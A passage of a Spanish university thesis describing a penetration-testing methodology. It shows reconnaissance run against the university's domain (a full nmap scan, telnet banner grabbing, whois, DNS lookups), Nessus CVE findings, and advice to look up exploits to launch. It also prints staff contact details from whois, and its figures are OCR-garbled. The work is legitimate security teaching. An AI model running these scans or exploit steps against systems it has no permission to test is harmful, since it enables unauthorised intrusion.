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1.2.8 Metodologias Conocidas

1.2.8.1 OSSTMM

Representa un estandar de referencia imprescindible, para todo aquel que
quiera llevar a cabo un testeo de seguridad en forma ordenada y con calidad
profesional. Segun ISECOM
2015(http://www.isecom.org/research/osstmm.html), la  metodologia se
encuentra dividida en varias secciones. Del mismo modo, es posible identificar
en ella, una serie de médulos de testeo especificos, a través de los cuales se
observan cada una de las dimensiones de seguridad, integradas con las tareas
a llevar a cabo en los diferentes puntos de revision (Seguridad de la Informacion,
Seguridad de los Procesos, Seguridad en las Tecnologias de Internet,
Seguridad en las Comunicaciones, Seguridad Inalambrica y Seguridad Fisica).

A fin de organizar su contenido, la metodologia se encuentra dividida en varias
secciones. Del mismo modo, es posible identificar en ella, una serie de médulos
de testeo especificos, a través de los cuales se observan cada una de las
dimensiones de seguridad, integradas con las tareas a llevar a cabo en los
diferentes puntos de revision (Seguridad de la Informacién, Seguridad de los
Procesos, Seguridad en las Tecnologias de Internet, Seguridad en las
Comunicaciones, Seguridad Inalambrica y Seguridad Fisica).

OSSTMM no solo alcanza los ambitos técnicos y de operacion de seguridad
tradicionales, sino que, se encarga de normar aspectos tales como: las
credenciales del profesional a cargo del test, la forma en la que el test debe ser
comercializado, la forma en la que los resultados del mismo deben ser
presentados, las normas éticas y legales que deben ser tenidas en cuenta al
momento de concretar el test, los tiempos que deberian ser tenidos en cuenta
para cada una de las tareas, y por sobre todas las cosas, incorpora el concepto
de RAVs (Valores de Evaluacion de Riesgo) y con ellos la frecuencia con la cual
la prueba debe ser ejecutada a fin de proveer mas que una instantanea en el
momento de su ejecucion.

1.2.8.2 ISSAF

Constituye un framework detallado respecto de las précticas y conceptos
relacionados con todas y cada una de las tareas a realizar al conducir un testeo
de seguridad. La informacion contenida dentro de ISSAF, se encuentra
organizada alrededor de lo que se ha dado en llamar "Criterios de Evaluacion”,
cada uno de los cuales ha sido escrito y/o revisado por expertos en cada una
de las areas de aplicacion. Dicha metodologia es usada para encontrar
vulnerabilidades en las redes informaticas
(http://datateca.unad.edu.co/contenidos/233016/EXE_SAM/leccin_29 issaf.ht
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ml ) Estos criterios de evaluacion a su vez, se componen de los siguientes
elementos:

e Una descripcion del criterio de evaluacion

e Puntos y Obijetivos a cubrir

e Los pre-requisitos para conducir la evaluacion
e El proceso mismo de evaluaciéon

e Elinforme de los resultados esperados

e Las contramedidas y recomendaciones

e Referencias y Documentacion Externa.

Por su parte y a fin de establecer un orden preciso y predecible, dichos "Criterios
de Evaluacion”, se encuentran contenidos dentro de diferentes dominios entre
los que es posible encontrar, desde los aspectos mas generales, como ser los
conceptos basicos de la "Administracién de Proyectos de Testeo de Seguridad”,
hasta técnicas tan puntuales como la ejecucién de pruebas de Inyeccion de
Cddigo SQL (SQL Injection) o como las "Estrategias del Cracking de
Contrasenfas.

A diferencia de lo que sucede con metodologias "mas generales", si el
framework no se mantiene actualizado, muchas de sus partes pueden volverse
obsoletas rapidamente (especificamente aquellas que involucran técnicas
directas de testeo sobre determinado producto o tecnologia). Sin embargo esto
no deberia ser visto como una desventaja, sino como un punto a tener en cuenta
a la hora de su utilizacion.

1.2.8.3 OTP (OWASP Testitng Project)

OTP promete convertirse en uno de los proyectos mas destacados en lo que al
testeo de aplicaciones web se refiere. La metodologia consta de 2 partes, en la
primera se abarcan los siguientes puntos:

e Principios del testeo
e Explicacion de las técnicas de testeo.
e Explicacion general acerca del framework de testeo de OWASP.

Y en la segunda parte, se planifican todas las técnicas necesarias para testear
cada paso del ciclo de vida del desarrollo de software. Incorpora en su
metodologia de testeo (https://www.owasp.org/index.php/Main_Page ),
aspectos claves relacionados con el "Ciclo de Vida del Desarrollo de Software"
0 SDCL (Por sus siglas en Ingles "Software Development Life Cycle Process")
a fin de que el "ambito" del testeo a realizar comience mucho antes de que la
aplicacién web se encuentre en produccion.
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De este modo, y teniendo en cuenta que un programa efectivo de testeo de
aplicaciones web, debe incluir como elementos a testear: Personas, Procesos
y Tecnologias, OTP delinea en su primera parte conceptos claves a la vez que
introduce un framework especificamente disefiado para evaluar la seguridad de
aplicaciones web a lo largo de su vida.

Paso 1 Antes de comenzado el desarrollo

e Revision de Politicas y Estandares
e Desarrollo de un Criterio de Medidas y Métricas (Aseguramiento de la
Trasabilidad)

Paso 2 Durante la definicion y el disefio

¢ Revision de los Requerimientos de Seguridad
e Disefio de Revision de Arquitectura

e Creacion y Revision de modelos UML

e Creacion y Revision de modelos de Amenazas

Paso 3 Durante el desarrollo

o Code Walkthroughs
¢ Revision de Cadigo

Paso 4 Durante el Deployment

e Testeo de Penetracion sobre la Aplicacion
e Testeo sobre la Administracion y Configuracion

Paso 5 Operacién y mantenimiento

¢ Revision Operacional
e Conduccién de Chequeos Periddicos
e Verificacion del Control de Cambio
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CAPITULO Il

2. MARCO METODOLOGICO

Las actividades desarrolladas durante el proceso de pruebas son: descripcion
del grafico

Figura: Marco Metodoldgico 1

Recoleccion
de

informacion

Identificacion
de sistemas y
Servicios

Reporte

)

Explotacion de
vulnerabilidades
y pruebas de
Intrusién

Identificacion y
verificacion de
Vulnerabilidades

Fuente: Autor del documento
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Figura: Marco Metodologico 2

*Fase en la cual se realiza recoleccién de cualquier tipo de \
informacidn contenida en internet, blogs, redes sociales, videos,
imagenes, documentos y demas.

*Se realiza recoleccion de informacion acerca de las tecnologias
del objetivo, sistema operativo y demas.

*Trazas por medio de tracert y respuestas ICMP

LICIEENEN < Recoleccion de correos electronicos y administradores de
dominio.

*Una vez identificados los puertos, se procede a identificar los }

Recoleccion de

servicios que se encuentran publicados.
+ldentificacion de aplicaciones y versiones de sistemas
operativos.

L=l o dentificacion de la informacion expuesta en cada uno de los

SSEEERY puertos.

Servicios «Extraccion de banners

realizar el escaneo de vulnerabilidades para identificar posibles
fallos sobre el software y objetivo a evaluar, para que
LEREEle  posteriormente se haga una explotacion sobre las

il Eleliie s yulnerabilidades identificadas.

*Con herramientas de uso libre y licenciadas se procede a
Vulnerabilidades

/ junto con los puertos, servicios, sistemas operativos y demas,
SGIECERIEE  proceder a realizar la explotacion de las vulnerabilidades y
NEELIBERES]  posterior intrusion de ser posible.

y pruebas de

*Una vez teniendo las vulnerabilidades encontradas en el objetvj
Intrusion

documento toda la actividad realizada, la documentacion es un
de las fases mas importante de cualquier metodologia.

Reporte

*Una vez finalizada la actividad, se debe plasmar en un }
a

Fuente: Autor del documento

46



Fundacion Universitaria Los Libertadores

NOTA: Las imagenes descritas a continuacion han sido tomadas de
pruebas y analisis reales sin generar intrusiones no consentidas a los
sistemas mostrados para el proyecto, tampoco se pretende realizar una
recomendacion sobre la misma, puesto que son ejemplo. En una seccion
de este documento se realizara la ejecucion de la metodologia donde se
describe el paso a paso de las pruebas.

Cada una de las fases de esta metodologia comprende algunas capas del
modelo OS], las cuales se van air mencionando en cada uno de los pasos
de la metodologia.

2.1 RECOLECCION DE INFORMACION

Figura: Recoleccion de Informacion 1

Al igual que el
PING identificar
por medio de
paquetes ICMP

Por medio de
paquetes ICMP
tratar de identificar
si el objetivo se
encuentra
respondiendo
peticiones ICMP

Who is:
recoleccion de
informacién acerca
de un dominio o
hosting en internet

cuantos saltos hay
hacia el objetivo en
su Tracert

RECOLECCION
DE
INFORMACION

Realizar escaneo
de puertos con
herramientas
NMAP para
identificacion de
puertos

Recoleccion de
informacién como
subdominios,
correos
electrénicos y
demas.

Recoleccion
Manual de
informacion

Fuente: Autor del documento

Mantener a salvo la informacién es imperativo y primordial en cualquier
empresa. La confidencialidad de sus datos es ineludible para mantener una
buena politica de seguridad.
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Gracias a la recoleccion de informacién, muchos ataques a empresas acaban
con éxito.

Como podemos intuir toda fase de ataque a un determinado objetivo su primer
paso a realizar es la recoleccién de informaciéon, o mas conocido como
“Information Gathering”. Este proceso es el menos atractivo para el atacante ya
gue solo radica en acumular informacion.

Durante este primer tramo del ataque, el atacante usando diferentes técnicas
y/o aplicaciones para tal fin, obtiene direcciones IP, servicios de equipos,
nombres de dominio, metadatos, sistemas operativos etc, esta fase se
encuentra en las capas enlace de datos, red, transporte, sesion, presentacion y
aplicacion.

El proceso de recoleccion de informacién en la metodologia planteada se
verificara con las siguientes herramientas:

¢ Whois: Trata de recolectar la mayor parte de informacién posible acera
del objetivo dominio 0 hosting en internet y de forma local, como la

plataforma tecnolégica.

¢ Network-tools.com: Procede de la misma manera que un whois pero a
nivel externo.

e Ping: En algunos de los casos verificar si se encuentra alive el objetivo.
e Tracert: A cuantos saltos nos encontramos del objetivo.
¢ Nmap: Para realizar descubrimientos de redes.

e Hping3: Herramienta usada para manipulacién de paquetes a nivel de
capa 4.

e Zenmap: herramienta que funciona muy similar a nmap, pero en entorno
gréfico.

e TheHarvester: Herramienta de recoleccion de informacion y correos
electronicos.

e Scripts: Linux mediante sus comandos generar una recoleccion de
informacion.

Esta fase contiene varias pruebas que se encuentran en distintas capas del

modelo OSI, desde la busqueda de informacién en internet y recolecciéon de
datos como correos electrénicos que se encuentra en la capa de aplicacion
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pasando por el escaneo de puertos y manipulacion de paquetes a nivel de capa
de transporte y por ultimo pasando a nivel de capa 3 (Capa de Red) mediante
el protocolo ICMP para identificar dispositivos respondientes y saltos de red.

Se presenta como la primera fase de la metodologia, ya que es importante
reconocer el dispositivo u objetivo antes de iniciar los procedimientos

posteriores planteados, esto con el &nimo de poder enfocar el analisis y no
lanzar aleatoriamente pruebas sin vectores de ataque.

2.2 IDENTIFICACION DE SISTEMAS Y SERVICIOS

Figura: Identificacion de Servicios 1

Verificacion de los
Servicios
publicados ,

versiones y

Extraccion de actualizaciones : :
Banners por medio Versionamiento y

de telnet para -
lectura de tecnologica que
informacion usa el dispositivo.
expuesta

D - Listado de puertos
Identificacion de IDENTIFICACION abiertos y

huellas del sistema DE SISTEMAS Y
: protocolos que usa
operativo SERVICIOS TCP 0 UDP

Fuente: Autor del documento

Identificacion de huellas dactilares o fingerprint, servicios y puertos.

El objetivo principal de la identificacion de sistema operativo, es poder generar
un vector de ataque especifico y hacerse a la idea de que sistema se esta
evaluando como por ejemplo, un servidor Windows 2003 con IIS 6,0 o Windows
Server 2008 R2 con 1IS7.5. En el caso de linux, cualquiera de sus distribuciones
donde evidentemente puede llegar aparecer el Apache o Tomcat. Asi mismo la
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extraccion de banners, el cual es un procedimiento que nos ayuda a identificar
el sistema operativo al cual le estamos realizando las pruebas.

Para este procedimiento se utilizd la URL de la universidad los Libertadores
http://www.ulibertadores.edu.co, dicho procedimiento se puede realizar
ejecutando el comando telnet, bien sea en Windows o en Linux sobre el puerto
80 de la siguiente manera:

Figura: Banners 1

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Sin usar técnicas avanzadas de Hacking, se logra realizar la extraccion de un
banner, donde se puede observar la tecnologia del publicador y su version
(Apache/2.2.9), el sistema operativo (Linux en su distribucion Debian) y el
versionamiento del lenguaje de programacion (PHP/5.2.6) en la Figura: Banners
1.
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Otros ejemplos:

Figura: Banners 2

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Figura: Banners 3

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

El banner realizado a www.dasigno.com se puede observar una respuesta
“Server: Microsoft-HTTPAPI/2.0 el cual indica que es un posible Windows 2008
en la Figura: Banners2.

En el banner realizado a la pagina www.cidca.edu.co se observa claramente
que es un Windows de 32 bits con un publicador en apache version 2.4.10 en
la Figura Banner 3.

La siguiente Tabla 3 permite identificar el sistema operativo segun el resultado
del banner:
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Tabla 3

Server Header Value Windows Server Version
Microsoft-HTTPAFI/2.0 Windows 2003 Sp2, Windows
7, Windows 2008, Windows
2008 R2
Microsoft-HTTPAFI/M.0 Windows 2003

Fuente: Autor del documento

Nota: Para el caso de este proyecto y extraccion de datos de la URL de la
Universidad los libertadores, este procedimiento es suficiente para el propoésito
planteado por lo cual no se explicara otro posible método.

A continuacién se realizara un escaneo de puertos utilizando Nmap o zenmap,el
cual nos dejara ver los puertos publicados por el servidor, como ejemplo se
realiza la prueba en la pagina www.ulibertadores.edu.co:

Figura: Escaneo de Puertos 1

wwwulibertadores.edu.co |ZI Profile:

hd: |nmap -p 1-65535 -T4 -A -v -Pn www.ulibertadores.edu.co

:]| Services | | Nmap Output| Ports / Hosts Topologyl Host Detailsl Scans|

et 4 Port 4 Protocol 4 State 1 Service 1 Version

. Ulibertadores, @ &0 tep open  http Apache httpd 2.2.9 ((Debian) PHP/5.2.6-1+
@ 8080 tcp open  http Apache Tomcat/Coyote ISP enginell
@ 8089 tcp open  http Apache httpd 2.0.50 ((Unix) med_ssl/2.0.50
0 843 tep open  http Apache Tomcat/Coyote 5P engine 1.1

Fuente: Imagen tomada del resultado de la herramienta NMAP.

Para realizar las pruebas de recoleccién de informacion se deberd usar las
siguientes herramientas:

e Nmap: Herramienta para realizar escaneo de puertos y servicios
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e Telnet: Realizando la extraccion del banner sobre el puerto de
publicacion y ejecutando “GET/ HTTP/1.1” se podra averiguar la version
y tipo de sistema operativo.

e Zenmap: Herramienta para realizar escaneo de puertos y servicios en
modo grafico.

NOTA: esta metodologia esta destinada a personal capacitado, con
conocimiento en administracién de redes y configuracion de servidores
por lo cual varios delos términos no se explicaran al entender que el lector
reconoce los términos descritos en el documento.

La identificacion de sistemas y servicios se da en la capa 4 del modelo OSI
(Capa de Transporte) la cual esta encargada de la administracion de puertos y
conexiones por los diferentes protocolos que esta capa gobierna. Sin embargo
en algunos de los casos en el momento de realizar la extraccion de Banners
para identificacién de sistema operativo, se lograra llegar hasta la capa 7 (Capa
de aplicacién), donde se realiza una consulta sobre el protocolo HTTP mediante
la publicacién que este en servicio. Es importante mencionar que al realizar
escaneos sobre la capa 4, los protocolos TCP y UDP estaran presentes, por lo
cual es importante conocer la diferencia entre los dos protocolos y los servicios
que prestan por cada uno de sus puertos bien conocidos.
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2.3 ANALISIS DE VULNERABILIDADES

Figura: Identificacion de Vulnerabilidad 1

Verificacion de la
publicacion de
exploits en
internet

Investigacion de la
vulnerabilidad si
no es conocida

Analisis de | Revision de la

cvourlnt?é?rlgmgg?;s posible
remediacion de la

Ilcer?igl;aedsas o > vulnerabilidad.
IDENTIFICACION Y
VERIFICACION DE
VULNERABILIDADES

Fuente: Autor del documento.

Usando analizadores de vulnerabilidad como Nessus debidamente
actualizados, realizar escaneos buscando algun tipo de vulnerabilidad.

Figura: Nessus 1

Fuente: Resultado de andlisis de la herramienta Nessus.

La Figura: Nessus 1 permite evidencia vulnerabilidades reportadas por Nessus
los cuales se evidencian en la siguiente Figura Nessus 2.

Dichas vulnerabilidades las clasifica Nessus segun estandares internacionales
en severidades criticas, altas, medias, bajas e informativas como se vera a
continuacion:
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Figura: Nessus 2

OpenssL < 0.9.71 / 0.9.8d Multiple Vulnerabilities

PHP 5.1.x < 5.1.5 Multiple Vulnerabilities

'y

CAL PHP Unsupported Version Detaction

Apache HTTP Server Byte Range DoS

Apache 2.0 < 2.0.64 Multiple Vulnerabilities

Apache 2.0 < 2.0.65 Multiple Vulnerabilities

Apache < 2.0.55 Multiple Vulnerabilities

Apache < 2.0.59 mod_rewrite LDAP Protocol URL Handling Overflow

Fuente: Resultado de andlisis de la herramienta Nessus.

Ingresando a los resultados de vulnerabilidades, se logra observar el detalle de
cada una de las vulnerabilidades reportadas.

Se debe verificar la naturaleza de la vulnerabilidad y posteriormente el exploit
si existe.

Figura: Nessus 3

Hosts > www.ulibertadores.edu.co > Vulnerabilities E

PHP 5.1.x < 5.1.5 Multiple Vulnerabilities

- The c-client library 2000, 2001, or 2004 for PHP does not check the safe_mode or open_basedir functions
(CVE-2006-1017)

- A buffer overflow exists in the sscanf function.
{CVE-2006-4020)

Fuente: Resultado de andlisis de la herramienta Nessus.

En la Figura: Nessus 3 se puede evidenciar el codigo CVE-200-1017 el cual
permitira explorar a profundidad la vulnerabilidad y encontrar un Exploit para
tratar de aprovechar dicho fallo.
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Figura: Nessus 3

Reference Information

CVE: CWE-2006-1017, CVE-2006-4020, CVE-20086-
4481 CVE-2006-4482, CVE-2006-4483, CVE-2006-
4484, CVE-2006-44385

OSVDB: 23535, 27824, 27999, 258002, 28003,
28004, 28007, 28009, 28717

BID: 16878, 19415, 19582

CWE: 119

Fuente: Resultado de andlisis de la herramienta Nessus.

La evidencia indica que una de las vulnerabilidades es un Buffer Overflow
existente y sus respectivos codigos CVE con los que fueron reportados.

En la pégina https://www.exploit-db.com/google-hacking-database se debe
realizar la busqueda de aquellos CVE, para verificar si existen exploits y ser
lanzados.

Figura: Exploit-db 1

== prev 1 2 3 4 == next
Date Title
2010- “"powered by ezUserManager" Advisaries and Vulnerabilities
1-15 ezUserManager 1.6 Remote File Inclusion
db.com/exploits/1795
2010-  inurl:classified.php phpbazar Advisories and Vulnerabilities
11-15 phpBazar 2.1.0 Remote (Include/Auth Byp

db.com/exploits/1804

Fuente: Imagen tomada del resultado de la busqueda de un Exploit en la pagina
https://www.exploit-db.com/google-hacking-database

La forma de buscar el CVE-2006-1017 es en el buscador de la pagina pero sin
CVE.
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Las herramientas que se recomienda para usar son las siguientes:

¢ Nessus: Escaneador de vulnerabilidades. (Licenciado)

e OpenVass: Escaneador de vulnerabilidades (Libre)

e Nexpose: Escaneador de vulnerabilidades (Free hasta 10 objetivos)
e Acunetix: Escaneador de vulnerabilidaes web (Licenciado)

e Exploit-db.com: Base de datos para consulta de CVE y exploits.

Los analisis de vulnerabilidades se encuentran en la gran mayoria de capas por
no decir que todas, puesto que dichas herramientas tienen que hacer todo el
escalamiento y verificacion de la informacion que se encuentran en cada uno
de los protocolos presentes en el modelo OSI, aun asi no es posible verificar la
capa uno (Capa Fisica), a la cual se le deberan realizar las pruebas
correspondientes.

Adjunto a este documento se podra encontrar un documento en formato Excel
con el nombre UNILIB-AV-MAY-2015.xls el cual contiene diligenciado el
resultado del analisis de vulnerabilidades realizado por la herramienta Nessus.

2.4 EXPLOTACION DE VULNERABILIDADES Y PRUEBAS DE INTRUSION.

Figura: Exp. De Vulnerabilidad 1

Inyeccién de
Intrusiones cddigo con SQL

Manuales, MAP Ataques a las
mediante capa de red,
autenticacion transporte y
desatendidas o aplicacion por
usuarios y medio de
contrasefias por metasploit
defecto

. Intentos de
De acuerdo a la EXPLOTACION autenticacion por
naturaleza de la DE medio de fuerza
vulnerabilidad VULNERABILIDA bruta con
usar distintas DES Y PRUEBAS diccionarios de
herramientas DE INTRUSION usuarios y
contrasefias

Fuente: Autor del documento
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La explotacion de vulnerabilidades y pruebas de intrusién solo se haran si las
vulnerabilidades encontradas son verdaderas, para ello se realizara un listado

de herramientas segun un criterio general mediante el cual se puedan aplicar.

Explotacion de vulnerabilidades:

e Sglmap: inyeccién de codigo (web)

e Metasploit: Explotacion de vulnerabilidades (Red y Web)
e Websploit: Explotacion de vulnerabilidades web.

e Hydra: Ataques de fuerza bruta.

etc.

Dependiendo del resultado de las primeras fases y de los resultados del
analizador de vulnerabilidades, podemos hacer explotacién en diferentes capas
del modelo OSI, dependiendo de la naturaleza de la vulnerabilidad y de la capa

en la que haya sido reportada.

2.5 PRESENTACION Y REPORTE.

Figura: Presentacion Y Reporte 1

Documentacion de |
las
vulnerabilidades
halladas

Evidencia de
intrusiones
realizadas

Evidencia de las
pruebas
realizadas.

Recomendaciones
y remediaciones

REPORTE Y |
DOCUMENTACION

Fuente: Autor del documento.
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Todas las pruebas de pentesting, siempre deben quedar documentadas, por lo
gue es importante seguir un lineamiento o establecer un informe el cual ir4 a
contener todos los resultados de las pruebas realizadas.

Esta documentacion debe ser previamente establecida por la compafia o
administrador de seguridad de la informacién, para presentacion de informes de
ethical hacking, esta fase no sera desarrollada en el proyecto y su tratamiento
es puramente informativo.

2.6 MATERIALES Y EQUIPO

Para realizar las actividades planteadas en este documento, se debe tener
como material principal lo siguiente:

e 1 Portétil con tarjeta de red inaldmbrica, tarjeta de red LAN, procesador
de 2.4 Ghz, minimo 8 Gigas de memoria Ram.

e Nessus profesional o Nexpose

e Virtual box o vmware con Kali debidamente instalado.

e Tarjeta de red interna o externa usb.

o Wireshark
o Paquete de office
e Zenmap

e Putty (Opcional)

2.7 PROCEDIMIENTO DE CAPTURA DE DATOS

En esta fase, se realizara una descripcion del procedimiento para realizar la
captura de datos.

2.7.1 Recoleccidn de Informacion

Posiblemente, esta sea una de las etapas que més tiempo demande. Asi
mismo, se definen objetivos y se recopila toda la informacién posible que luego
sera utilizada a lo largo de las siguientes fases. La informacién que se busca
abarca desde nombres y direcciones de correo de los empleados de la
organizacion, hasta la topologia de la red, direcciones IP, entre otros. Cabe
destacar que el tipo de informacién o la profundidad de la pesquisa dependeran
de los objetivos que se hayan fijado en la auditoria.
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e Whois: Trata de recolectar la mayor parte de informacién posible acera
del objetivo, la forma correcta de lanzar la herramienta es dentro de
una terminal de kali “whois ulibertadores.edu.co” dicha informacion se
encuentra en la capa de aplicacién del modelo OSI.

FJ
R
R
R
R
R
R
R
R
R
R

Billing
Billing
Billing
Billing
Billing
Billing
Billing
Billing
Billing
Billing
Billing
Technic
Technic
Technic
Technic
Technic
Technic
Technic
Technic
Technic
Technic
Name Se
Name Se

Contact
Contact
Contact
Contact
Contact
Contact
Contact
Contact
Contact
Contact
Contact

~+ + + + o+ttt

ID:

Name :
Organization:
Addressl:
City:

State/Province:

Postal Code:
Country:
Country Code:
Phone Number:
Email:

al Contact ID:
al Contact Name:

al Contact Organization:

al Contact Addressl:

al Contact City:

al Contact Postal Code:
al Contact Country:

al Contact Country Code:
al Contact Phone Number:

al Contact Email:

rver:
rver:

Created by Registrar:

Last Updated by Registrar:
Registration Date:
Expiration Date:

Last Updated Date:

Domain
Domain
Domain
DNSSEC:

omada del resultado de ejecutar whois en una terminal de Kali

Figura: Test Whols 1

) ULIBERTA 5 .EDU.CO

D )
INTERMET S.A.S.
11111

FUNDA
FUND

ia@libertadore du.co

Figura: Test Whols 2

18016-BILLING

FUNDACION UNIVERSITARIA LOS LIBERTADORES
NA

CARRERA 16 NO. 63A-68

bogota

Bogota

(¢]

Colombia

Cco

+00.2544750
gertecnologia@libertadores.edu.co
2808-TECH

Luis Alfonso Franco Cortes
NA

CRA. 16

bogota

(¢]

Colombia

Cco

+00.2544750
ingredes@libertadores.edu.co
RICAUTE.LIBERTADORES .EDU.CO
NS20 . COLUMBUS -NETWORKS . COM
NEULEVELCSR

.CO INTERNET S.A.S.

Thu Mar 26 00:00:00 GMT 1998
Sat Dec 31 23:59:59 GMT 2016
Tue Dec 02 20:27:04 GMT 2014
false

Fuente: Imagen tomada del resultado de ejecutar whois en una terminal de Kali
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Las imégenes Figura: Test Whols 1y 2 muestran informacion, como la ubicacion
de la empresa, niumero de teléfono, correo electrénico, nombre de la persona
de contacto “Luis Alfonso Franco Cortés” contacto técnico y dns del registrante

del dominio, en este caso .co Internet S.A.S
Figura: Test Whols 3

Domain Mame:

Domain ID:

sponsoring Registrar:
Sponsoring Registrar LaMA ID:

Domain Status:

Variant:

Registrant 10:

Registrant Mame:
Registrant Organization:
Registrant Addressl:
Registrant City:
Registrant State/Province:
Registrant Postal Code:
Registrant Country:
Registrant Country Code:
Registrant Phone Number:
Registrant Email:
Administrative Contact ID:
dministrative Contact Mame

=

=

dministrative Contact Organization:
dministrative Contact Addressi:

=

=

dministrative Contact City:

=

dministrative Contact Postal Code:

=

dministrative

=

Country:
dministrative Contact Country Code:

=

dministrative Contact Phone Mumber:

=

Administrative Contact Email:
Billing Contact ID:

Billing Contact MName:

Billing Contact Organization:
Billing Contact Addressi
Billing Contact City:

Billing Contact State/Province:
Billing Contact Postal Code
Billing Contact Country:
Billing Contact Country Code:
Billing Contact Phone Number:
Billing Contact Email

Technical Comtact ID:

lechnical Comtact Name:
Technical Comtact Organization:

lechnical Comtact Addressl:

Registrar URL (registration services):

dministrative Contact State/Province:

Whois lookup for: www.ulibertadores.edu.co

ULIBERTADORES. EDU.CO

Del12E48-C0

.C0 INTERMNET 5.A.5.

111111

waiW . Cointernet.com.co

ok

ULIBERTADORES . EDU.CO

18816 -REG

FURDACLION UMIVERSLITARIA LODS LIBERTADORES
FURDACION UMIVERSITARIA LODS LIBERTADORES
CRA. 16 NO. B3A-5E EB

BOGOTA

Bogota

B

Colombia

ca

+88 . 2544758
gertecnologia@libertadores . edu. co
1E816-ADMLIN

sandra Constanza Sanchez Cortes
FURDACLION UMIVERSLITARIA LODS LIBERTADORES
CRA. 16 # 6dA-BB

Bogota

Bogota

B

Colombia

ca

+ul 25447508
gertecnologiailibertadores . edu. co
186816-BILLING

FURDACION UMIVERSITARIA LODS LIBERTADORES
{5

CARRERA 16 NO. B3A-5B

bogota

Bogota

[

Colombia

ca

+HB . 25447508
gertecnologiailibertadores . edu. co
2BEB-TECH

Luis Alfonse Franco Cortes

L

CRA. 16 NO. 63 A - &8

Fuente: Imagen tomada del resultado de un whois online.

La imagen Figura: Test Whols 3 muestra informacion como la ubicacion de la
empresa, numero de teléfono, correo electrénico, nombre de la persona de
contacto “Luis Alfonso Franco Cortés” contacto técnico y dns del registrante del
dominio, en este caso .co Internet S.A.S, pero esta recoleccion de informacién
es lanzada desde un portal web online, para realizar esta consulta se debe
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realizar el ingreso a la pagina www.whois.net, es importante mencionar que al
igual que la herramienta whois de Kali, ésta herramienta online también actla
en la capa de aplicacion del modelo OSI.

Herramienta Ipinfo: Recoleccion de informacion con el comando curl
ipinfo.i0/190.242.99.231 dentro de la terminal de kali, el cual brinda
informacioén de la localizacion en coordenadas geogréficas latitud 4.6492
longitud 74.0628, los cuales se pueden ubicar por google maps:

Figura: Test Whols 4

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Ingresando las coordenadas arrojadas, se logra la ubicacién del servidor y /o
la direccién IP.

Figura: Test Geolocalizacion 1

Map

IP geolocation for: www.ulibertadores.edu.co

IPv4 address 190.242.99.231
Latitude 5
Longitude -74

Location Bogota, Bogota D.C., Colombia (CO) gl

v -
rigenes £2015 CNES / Astrium DigitelGiche | Tasmincs de uso

Fuente: Imagen tomada de la localizacion de coordenadas de google maps.
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¢ Network-tools.com para busqueda de apuntamientos, dns, subdominios
y apuntadores de correo electrénico mx. A esta fase se le conoce como
reconocimiento y enumeracion de DNS, dichas herramientas se actlan
en la capa de aplicacion del modelo OSI:

Figura: Test DNS 1

DNS lookup for: www.ulibertadores.edu.co

A records for www.ulibertadores.edu.co

address name type class tl

190.242.99.231 vierw. ulibertadores edu.co IN 21470

I

AAAA records for www.ulibertadores.edu.co

Mo AAAA record found for wenw. ulibertadores. edu.co.

MX records for ulibertadores.edu.co

preference exchange name type class 1t

10 Cit.ulibertadores edu.co.ulibertadores.edu.co ulibertadores . edu.co MX IM 21599

NS records for ulibertadores.edu.co

nsdname name type class juil
ns20.columbus-networks.com.ulibertadores . edu.co ulibertadores.edu.co NS 1M 21599
ricaute.libertadores.edu.co.ulibertadores edu.co ulibertadores.edu.co NS IN 21599

SOA records for ulibertadores.edu.co

mname rname serial refresh retry expire minimum name type class ttl

ricaute libertadores.edu.co rootlibertadores edu.co 2013025475 3 144 36000 864 ulibertadores.edu.co SOA N 21599

Fuente: Imagen tomada del resultado de busqueda de DNS de la pagina network-
tools.com

Como se logra observar en la Figura: Test DNS 1, se evidencia que el dominio
www.ulibertadores.edu.co se encuentra apuntando a la direccién IP
190.242.99.231 y sus respectivos servidores DNS ns20.columbus-
networks.com
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Se realiza una prueba con el dominio libertadores.edu.co para verificar el listado
de los mx, ejecutando el comando “nslookup” desde kali y desde windows
posteriormente se escribe el valor “set g=MX” y por ultimo la URL de la cual se
desea saber los MX “libertadores.edu.co, dicha prueba actla sobre la capa de
aplicacion, presentacion y sesion del modelo OSI.

Figura: Test MX 1

S de Windows al ejecutar el comando

Fuente: Imagen tomada de una consola MS-DO
nslookup

Se logra evidenciar los apuntadores MX, propietarios de google. Es importante
esta fase, ya que en las recolecciones futuras se podran evidenciar usuarios de
correos electronicos, por lo que se podra identificar rapidamente la pagina de
autenticacion e inicio de sesion si se lograra obtener algun password de alguna
cuenta de correo electronico.
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e Ping: En algunos de los casos verificar si se encuentra encendido el
obijetivo.

Figura: Test ICMP 1

Ping for: www.ulibertadores.edu.co

Executing ping... (this can take up to 30 seconds)

Pinging 180.242.99 231 with 32 bytes of data:
Request timed out.

Request timed out.

Request timed out.

Ping statistics for 190.242.99.231:

Packets: Sent = 3, Received = 0, Lost = 3 (100% less),

TCP ping for: www.ulibertadores.edu.co on port 80

IP address Port Status
190.242.99 231 30 162.42 ms
190.242.59.231 30 173.87 ms
190.242.99 231 20 163.94 ms
190.242.99 231 20 163.8 ms

Fuente: Test icmp realizado online a la pagina los libertadores tomado de whois.net

Realizando una prueba basica desde las ubicaciones externas, se observa que
el objetivo no responde a peticiones ICMP, dicha prueba sera basica para
realizar una identificacion previa del objetivo, esta prueba se encuentra
localizada en la capa de red del modelo OSI sobre el protocolo ICMP.

Figura: Test ICMP 2

rs + 0 data b

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Se realiza de igual manera un andlisis con el programa hping3, el cual permite
enviar peticiones ICMP, para verificar si el dispositivo se encuentra
respondiendo a peticiones de echo reply. El hecho de que esta prueba responda
0 no responda, no sera sefial que indique que el dispositivo tiene
vulnerabilidades, Unicamente sera a modo informativo, pero en alguno de los
casos llegara a responder peticiones ICMP, hara que el dispositivo sea
susceptible a fallos por denegacién de servicio por saturacion de solicitudes
ICMP.
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e Tracert: EI comando tracert, permitird identificar a cuantos saltos se
encuentra el atacante o pentester del objetivo, poder verificar si pasa por
un firewall, para ello existen herramientas basicas como tracert en
Windows, traceroute en Linux o herramientas gratuitas que permiten la
identificacion de todos los saltos, antes de llegar al objetivo, dicha
prueba se encuentra en la capa 3 del modelo OSI.

Figura: Test Tracert 1
North  783,061.1
Sogamoso
Tunja
Manizales
da®
e Ibagué
Girardot
Talas ‘\lla.‘u:-:-nw:m
